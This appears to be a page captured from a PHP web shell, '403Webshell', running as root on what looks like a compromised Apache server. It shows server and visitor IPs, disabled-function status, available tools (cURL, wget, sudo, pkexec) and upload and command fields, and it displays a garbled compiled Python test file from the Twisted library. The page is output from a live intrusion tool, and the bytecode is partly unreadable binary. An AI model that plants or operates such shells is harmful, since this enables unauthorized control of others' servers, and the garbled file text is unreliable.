403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/python/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/python/test/__pycache__/test_htmlizer.cpython-38.pyc
U


W[��@s<dZddlmZddlmZddlmZGdd�de�ZdS)z'
Tests for L{twisted.python.htmlizer}.
�)�BytesIO)�TestCase)�filterc@s eZdZdZdd�Zdd�ZdS)�FilterTestsz6
    Tests for L{twisted.python.htmlizer.filter}.
    cCs,td�}t�}t||�|�|��d�dS)z�
        If passed an empty input file, L{filter} writes a I{pre} tag containing
        only an end marker to the output file.
        �s2<pre><span class="py-src-endmarker"></span></pre>
N�rrZassertEqual�getvalue��self�input�output�r
�C/usr/lib/python3/dist-packages/twisted/python/test/test_htmlizer.py�
test_emptys
�zFilterTests.test_emptycCs,td�}t�}t||�|�|��d�dS)z�
        If passed an input file containing a variable access, L{filter} writes
        a I{pre} tag containing a I{py-src-variable} span containing the
        variable.
        sfoo
s<pre><span class="py-src-variable">foo</span><span class="py-src-newline">
</span><span class="py-src-endmarker"></span></pre>
Nrr	r
r
r�
test_variables
�zFilterTests.test_variableN)�__name__�
__module__�__qualname__�__doc__rrr
r
r
rrs
rN)r�iorZtwisted.trial.unittestrZtwisted.python.htmlizerrrr
r
r
r�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit